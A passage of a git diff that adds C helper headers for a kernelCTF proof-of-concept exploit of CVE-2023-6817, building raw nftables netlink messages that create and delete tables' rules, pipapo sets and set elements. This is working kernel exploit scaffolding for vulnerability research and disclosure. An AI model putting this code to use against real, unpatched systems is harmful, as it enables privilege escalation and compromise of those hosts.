NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + nla_put_string(msg2, NFTA_RULE_TABLE, table_name); + nla_put_string(msg2, NFTA_RULE_CHAIN, chain_name); + nla_put_u64(msg2, NFTA_RULE_HANDLE, htonll(handle)); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Delete rule\n"); + } +} + +struct nlmsghdr * del_rule_msg(char *table_name, char *chain_name, uint64_t handle){ + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_DELRULE),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST//NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + + nla_put_string(msg2, NFTA_RULE_TABLE, table_name); + nla_put_string(msg2, NFTA_RULE_CHAIN, chain_name); + nla_put_u64(msg2, NFTA_RULE_HANDLE, htonll(handle)); + return hdr2; +} + +struct nlmsghdr * new_rule_immediate_msg(char *table_name, char *chain_name, char *target_chain){ + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWRULE),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * exprs = nlmsg_alloc(); + struct nl_msg *data_nest = nlmsg_alloc(); + struct nl_msg *expr_data = nlmsg_alloc(); + struct nl_msg *data = nlmsg_alloc(); + struct nl_msg *data_verdict = nlmsg_alloc(); + + nla_put_u32(data_verdict, NFTA_VERDICT_CODE, htonl(NFT_JUMP)); + nla_put_string(data_verdict, NFTA_VERDICT_CHAIN, target_chain); + nla_put_nested(data, NFTA_DATA_VERDICT, data_verdict); + + nla_put_u32(expr_data, NFTA_IMMEDIATE_DREG, htonl(NFT_REG_VERDICT)); + nla_put_nested(expr_data, NFTA_IMMEDIATE_DATA, data); + + nla_put_string(data_nest, NFTA_EXPR_NAME, "immediate"); + nla_put_nested(data_nest, NFTA_EXPR_DATA, expr_data); + + nla_put_nested(exprs, NFTA_LIST_ELEM, data_nest); + nla_put_string(msg2, NFTA_RULE_TABLE, table_name); + nla_put_string(msg2, NFTA_RULE_CHAIN, chain_name); + nla_put_nested(msg2, NFTA_RULE_EXPRESSIONS, exprs); + cur_handle++; + return hdr2; +} + +struct nlmsghdr * new_rule_lookup_for_chain_msg(char *table_name, char *chain_name, char *set_name){ + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWRULE),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * exprs = nlmsg_alloc(); + struct nl_msg *data_nest = nlmsg_alloc(); + struct nl_msg *expr_data = nlmsg_alloc(); + + char *a = malloc(0x100); + memset(a,0x41,0x100); + nla_put_u32(expr_data, NFTA_LOOKUP_DREG, htonl(NFT_REG_2)); + nla_put_string(expr_data, NFTA_LOOKUP_SET, set_name); + nla_put_u32(expr_data, NFTA_LOOKUP_SREG, htonl(NFT_REG_1)); + nla_put_string(data_nest, NFTA_EXPR_NAME, "lookup"); + nla_put_nested(data_nest, NFTA_EXPR_DATA, expr_data); + + nla_put_nested(exprs, NFTA_LIST_ELEM, data_nest); + nla_put_string(msg2, NFTA_RULE_TABLE, table_name); + nla_put_string(msg2, NFTA_RULE_CHAIN, chain_name); + nla_put_nested(msg2, NFTA_RULE_EXPRESSIONS, exprs); + cur_handle++; + return hdr2; +} diff --git a/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/cos-105-17412.226.28/set.h b/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/cos-105-17412.226.28/set.h new file mode 100644 index 00000000..094babcd --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/cos-105-17412.226.28/set.h @@ -0,0 +1,411 @@ +extern int cur_handle; +void new_set_hashtable(struct nl_sock * socket, char *table_name, char *set_name, uint32_t obj_type, int key_len){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSET),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + struct nl_msg *data = nlmsg_alloc(); + + nla_put_u32(data, NFTA_SET_DESC_SIZE, htonl(0x1000)); + + + nla_put_string(msg2, NFTA_SET_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_NAME, set_name); + nla_put_u32(msg2, NFTA_SET_KEY_LEN, htonl(key_len)); + nla_put_u32(msg2, NFTA_SET_ID, 0x10); + nla_put_nested(msg2, NFTA_SET_DESC, data); + nla_put_u32(msg2, NFTA_SET_FLAGS, htonl(NFT_SET_OBJECT)); + nla_put_u32(msg2, NFTA_SET_OBJ_TYPE, htonl(obj_type)); + /* + nla_put_u32(msg2, NFTA_SET_FLAGS, htonl(NFT_SET_OBJECT)); + nla_put_u32(msg2, NFTA_SET_OBJ_TYPE, htonl(obj_type)); + */ + //int res = nl_send_auto(socket, msg); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create set\n"); + } + cur_handle++; +} + +void new_set_hashtable_with_elemdata(struct nl_sock * socket, char *table_name, char *set_name, int key_len, int elemdata_size){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSET),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + struct nl_msg *data = nlmsg_alloc(); + + nla_put_u32(data, NFTA_SET_DESC_SIZE, htonl(0x1000)); + + nla_put_u32(msg2, NFTA_SET_DATA_TYPE, htonl(NFT_DATA_VALUE)); + nla_put_u32(msg2, NFTA_SET_DATA_LEN, htonl(elemdata_size)); + nla_put_string(msg2, NFTA_SET_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_NAME, set_name); + nla_put_u32(msg2, NFTA_SET_KEY_LEN, htonl(key_len)); + nla_put_u32(msg2, NFTA_SET_ID, 0x10); + nla_put_nested(msg2, NFTA_SET_DESC, data); + nla_put_u32(msg2, NFTA_SET_FLAGS, htonl(NFT_SET_MAP)); + //nla_put_u32(msg2, NFTA_SET_OBJ_TYPE, htonl(obj_type)); + /* + nla_put_u32(msg2, NFTA_SET_FLAGS, htonl(NFT_SET_OBJECT)); + nla_put_u32(msg2, NFTA_SET_OBJ_TYPE, htonl(obj_type)); + */ + //int res = nl_send_auto(socket, msg); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create set\n"); + } + cur_handle++; +} + + +void new_set_hashtable_with_map(struct nl_sock * socket, char *table_name, char *set_name, int key_len){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSET),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + struct nl_msg *data = nlmsg_alloc(); + + nla_put_u32(data, NFTA_SET_DESC_SIZE, htonl(0x1000)); + + + nla_put_string(msg2, NFTA_SET_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_NAME, set_name); + nla_put_u32(msg2, NFTA_SET_KEY_LEN, htonl(key_len)); + nla_put_u32(msg2, NFTA_SET_ID, 0x10); + nla_put_nested(msg2, NFTA_SET_DESC, data); + nla_put_u32(msg2, NFTA_SET_DATA_TYPE, htonl(NFT_DATA_VALUE)); + nla_put_u32(msg2, NFTA_SET_DATA_LEN, htonl(0x10)); + nla_put_u32(msg2, NFTA_SET_FLAGS, htonl(NFT_SET_MAP)); + //nla_put_u32(msg2, NFTA_SET_OBJ_TYPE, htonl(obj_type)); + /* + nla_put_u32(msg2, NFTA_SET_FLAGS, htonl(NFT_SET_OBJECT)); + nla_put_u32(msg2, NFTA_SET_OBJ_TYPE, htonl(obj_type)); + */ + //int res = nl_send_auto(socket, msg); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create set\n"); + } + cur_handle++; +} + + +void new_set_pipapo(struct nl_sock * socket, char *table_name, char *set_name, int key_len, uint32_t obj_type){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSET),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + struct nl_msg *data = nlmsg_alloc(); + struct nl_msg *data_nest = nlmsg_alloc(); + struct nl_msg *data_nest_nest = nlmsg_alloc(); + //init IPSET_ATTR_DATA + + int i=0; + + nla_put_u32(data_nest_nest, NFTA_SET_FIELD_LEN, htonl(0x10)); + for(i=0;i<2;i++){ + nla_put_nested(data_nest, NFTA_LIST_ELEM, data_nest_nest); + } + + nla_put_nested(data, NFTA_SET_DESC_CONCAT, data_nest); + //create test1 + nla_put_string(msg2, NFTA_SET_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_NAME, set_name); + nla_put_u32(msg2, NFTA_SET_ID, 0x10); + nla_put_nested(msg2, NFTA_SET_DESC, data); + nla_put_u32(msg2, NFTA_SET_KEY_LEN, htonl(key_len)); + nla_put_u32(msg2, NFTA_SET_FLAGS, htonl(NFT_SET_INTERVAL|NFT_SET_OBJECT|NFT_SET_CONCAT)); + nla_put_u32(msg2, NFTA_SET_OBJ_TYPE, htonl(obj_type)); + //int res = nl_send_auto(socket, msg); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create set\n"); + } + cur_handle++; +} + + +struct nlmsghdr *del_set_msg(char *table_name, char *set_name){ + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_DELSET),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + //init msg + nla_put_string(msg2, NFTA_SET_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_NAME, set_name); + cur_handle++; + return hdr2; +} + + +void new_set_pipapo_for_poc_chain(struct nl_sock * socket, char *table_name, char *set_name, int key_len){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSET),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + + struct nl_msg *data = nlmsg_alloc(); + struct nl_msg *data_nest = nlmsg_alloc(); + struct nl_msg *data_nest_nest = nlmsg_alloc(); + //init IPSET_ATTR_DATA + + int i=0; + + nla_put_u32(data_nest_nest, NFTA_SET_FIELD_LEN, htonl(0x10)); + for(i=0;i<2;i++){ + nla_put_nested(data_nest, NFTA_LIST_ELEM, data_nest_nest); + } + + nla_put_nested(data, NFTA_SET_DESC_CONCAT, data_nest); + //create test1 + nla_put_string(msg2, NFTA_SET_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_NAME, set_name); + nla_put_u32(msg2, NFTA_SET_ID, 0x10); + nla_put_nested(msg2, NFTA_SET_DESC, data); + nla_put_u32(msg2, NFTA_SET_KEY_LEN, htonl(key_len)); + nla_put_u32(msg2, NFTA_SET_FLAGS, htonl(NFT_SET_INTERVAL|NFT_SET_MAP|NFT_SET_CONCAT)); + nla_put_u32(msg2, NFTA_SET_DATA_TYPE, htonl(NFT_DATA_VERDICT)); + + + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create set\n"); + } + cur_handle++; +} diff --git a/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/cos-105-17412.226.28/setelem.h b/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/cos-105-17412.226.28/setelem.h new file mode 100644 index 00000000..11fc3d47 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/cos-105-17412.226.28/setelem.h @@ -0,0 +1,653 @@ +void new_setelem(struct nl_sock * socket,char *table_name, char *set_name, void *udata, uint32_t ulen, char *obj_ref, char * input_key, int key_len, char *key_end, int key_end_len, int if_catchall){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSETELEM),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + //create test1 + struct nl_msg *elem = nlmsg_alloc(); + struct nl_msg *elem_nest = nlmsg_alloc(); + struct nl_msg *elem_key = nlmsg_alloc(); + struct nl_msg *elem_end = nlmsg_alloc(); + uint64_t key = input_key; + nla_put_string(elem_nest, NFTA_SET_ELEM_OBJREF, obj_ref); + if(if_catchall){ + nla_put_u32(elem_nest, NFTA_SET_ELEM_FLAGS, htonl(NFT_SET_ELEM_CATCHALL)); + } + else{ + nla_put(elem_key, NFTA_DATA_VALUE, key_len, input_key); + if(key_end != NULL){ + nla_put(elem_end, NFTA_DATA_VALUE, key_end_len, key_end); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY_END, elem_end); + } + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key); + } + if(udata>0){ + nla_put(elem_nest, NFTA_SET_ELEM_USERDATA, ulen, udata); + } + + nla_put_nested(elem, 1, elem_nest); + + nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set_name); + nla_put_nested(msg2, NFTA_SET_ELEM_LIST_ELEMENTS, elem); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create setelem\n"); + } +} + +void new_setelem_with_expr_and_elemdata(struct nl_sock * socket,char *table_name, char *set_name, void *elemdata, uint32_t elemdata_len, char *obj_ref, char * input_key, int key_len, char *key_end, int key_end_len){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSETELEM),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * 